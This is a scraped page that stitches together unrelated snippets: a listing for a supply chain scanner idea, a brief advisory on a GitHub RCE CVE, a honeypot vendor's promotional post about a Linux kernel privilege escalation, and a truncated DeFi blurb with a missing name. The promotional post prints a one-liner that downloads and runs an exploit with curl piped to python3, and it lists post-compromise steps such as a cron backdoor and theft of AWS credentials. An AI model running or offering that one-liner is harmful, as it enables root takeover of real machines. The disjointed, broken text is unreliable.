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Continuously monitor your dependencies, CI pipelines, and build artifacts for supply chain compromises before they hit production.
Added Apr 8, 2026
50 signals
Software supply chain attacks are accelerating rapidly, with incidents like the Axios npm backdoor, compromised Trivy repositories, and trojaned PyPI packages affecting millions of developers in a single month. Developers currently rely on manual checks, piecing together IOCs and running ad-hoc commands after incidents are already public, leaving a dangerous detection gap.
A multi-language CLI and CI-integrated scanner that continuously monitors installed packages, dependency trees, and build pipelines against a real-time threat intelligence feed of known compromises, malicious versions, and exfiltration indicators. It performs automatic lockfile auditing, version-pin verification, and runtime behavior analysis to catch compromised packages before they execute in production environments.
March 2026 saw an unprecedented wave of cascading supply chain attacks — a single compromised Trivy repository led to downstream poisoning of PyPI, npm, and other ecosystems. The frequency and sophistication of these attacks has crossed a threshold where reactive, manual checking is no longer viable.
A critical RCE (Remote Code Execution) vulnerability CVE- 2026-3854 with a CVSS of 8.7(Base Score) has been discovered inside GitHub.com and GitHub Enterprise Server. This allows authenticated users to inject commands via push options, compromising the shared repositories and fully taking over the Enterprise Servers. How discovered: Researchers found this vulnerability through AI- Powered reverse Engineering. Exploitation: An authenticated user with push access to repository can trigger RCE. Defense: Priotirise applying vendor patches, 88% of GHES instances remain unpatched. Stay alert for any update for GitHub.com and GitHub Enterprise Server to immediately mitigate the risk.
Disclosure dropped this week at copy.fail. Logic flaw in the kernel's `authencesn`, reachable via `AF_ALG`, abused through `splice()` to write 4 bytes into the page cache of any setuid binary. 732 bytes of stdlib Python. No race, no offsets, reliable on every affected distro since 2017. PoC: ``` curl https://copy.fail/exp | python3 && su ``` Distros are patching. Fine. The bit nobody talks about: it's a **local** priv esc. The attacker still needs a shell first. That shell doesn't come from your hardened SSH. It comes from the WordPress plugin you forgot was installed. The Grafana on :3000. The Jenkins your CI team spun up two years ago. The leaked GitHub PAT in a public gist. The n-day on your firewall vendor that everyone is still patching. They land as `www-data`. They run the 732-byte one-liner. They're root. Backdoor in `/etc/cron.d/`. `known_hosts` dumped. AWS keys pulled from `~/.aws/credentials`. Your Ansible inventory is now their target list. Friday they're inside. Sunday they push. Monday your `/home` is on a leak site and you're explaining to legal why prod creds lived on a Jenkins worker. I run a honeypot (TarPit.pro, full disclosure). Across 5 of my own boxes in the last 20 days: - ~40k attack attempts - ~14k unique IPs - ~5k auto banned - Top ports: SSH (14k), Telnet (3.2k), SMB (2.2k) Those are the IPs you collected the last few months that, today, will be running `curl copy.fail/exp | python3` on whichever box they land on first. Patch the kernel. Then close the on-ramp. Single Go binary, free tier on 2 servers, no Docker. Coupon `LAUNCH101` makes Starter and Pro free for 2 months if you want it on more
The Project 0 program code has been audited 11 times, & is one one of the most stress-tested DeFi protocols on Solana. The P0 risk & liquidity engine is built on , which has handled +$100B in lends, borrows, withdrawals, & flashloans through all market conditions on
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